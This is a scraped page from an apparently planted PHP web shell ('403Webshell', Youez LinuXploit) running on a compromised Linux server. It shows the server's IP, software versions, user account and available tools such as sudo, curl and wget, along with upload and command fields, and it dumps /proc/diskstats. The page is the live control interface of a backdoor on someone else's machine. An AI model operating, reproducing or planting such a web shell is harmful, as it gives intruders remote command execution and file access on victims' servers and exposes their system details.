403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/29149/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/29149/root/proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0
   8       0 sda 163843 217779 6822960 4029705 365760 9548574 79186470 7821096 0 2758934 11857096
   8       1 sda1 21431 10203 1532208 175997 85937 99404 1633784 1040243 0 727882 1215985
   8       2 sda2 179 188 2838 840 7 0 56 369 0 1176 1209
   8       5 sda5 142063 206576 5280058 3852203 253385 9449170 77552566 6285750 0 1874383 10144365
   8      16 sdb 133884 211152 5595398 2597556 378725 9526214 79113198 2713179 0 1182320 5312004
   8      17 sdb1 7452 1229 409004 58191 86474 98901 1633784 427229 0 259176 485372
   8      18 sdb2 148 1 1108 345 7 0 56 53 0 387 398
   8      21 sdb5 126129 209194 5178222 2538518 265819 9427313 77479294 2190061 0 889155 4729908
   8      48 sdd 129526 210003 5296722 4922716 329506 9573219 79096574 10378522 0 2218601 15306204
   8      49 sdd1 1897 354 92784 31855 86273 99080 1633784 1161091 0 520604 1193176
   8      50 sdd2 164 30 1440 157 7 0 56 256 0 404 413
   8      53 sdd5 127310 208891 5195434 4890339 216801 9474139 77462670 8842218 0 1527595 13737036
   8      64 sde 126443 208836 5228318 4942915 325484 9571759 79050006 11520198 0 2240664 16469927
   8      65 sde1 1391 457 65372 20879 86212 99147 1633784 1089973 0 521937 1110989
   8      66 sde2 171 14 1354 255 7 0 56 313 0 568 568
   8      69 sde5 124726 207637 5154528 4921421 212840 9472612 77416102 10039811 0 1529766 14966079
   8      32 sdc 127354 207993 5288712 4144543 350154 9564643 79190774 10415506 0 2662824 14568530
   8      33 sdc1 2768 668 127346 39984 85940 99398 1633784 1236090 0 554166 1276176
   8      34 sdc2 172 5 1290 505 7 0 56 480 0 937 985
   8      37 sdc5 124259 206592 5153012 4103623 237782 9465245 77556870 8729059 0 1916492 12840761
   9       0 md0 47191 0 2220808 479110 182102 0 1550496 4376604 0 872752 4744106
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0
 253       0 zram0 0 0 0 0 0 0 0 0 0 0 0
 253       1 zram1 0 0 0 0 0 0 0 0 0 0 0
 253       2 zram2 0 0 0 0 0 0 0 0 0 0 0
 253       3 zram3 0 0 0 0 0 0 0 0 0 0 0
   9       1 md1 265 0 2120 3022 4 0 16 461 0 800 3326
 135     240 synoboot 36 0 45 19 2 0 2 41 0 60 60
 135     241 synoboot1 0 0 0 0 0 0 0 0 0 0 0
 135     242 synoboot2 35 0 37 18 2 0 2 41 0 59 59
   9       2 md2 470063 0 16253040 12226022 4383318 0 305781304 544045647 0 3597499 556519434
 252       0 dm-0 469675 0 16249936 12223894 4383318 0 305781304 544049432 0 3757719 561601303
 252       1 dm-1 469154 0 16245768 12217642 4383318 0 305781304 544054307 0 3758948 561815168

Youez - 2016 - github.com/yon3zu
LinuXploit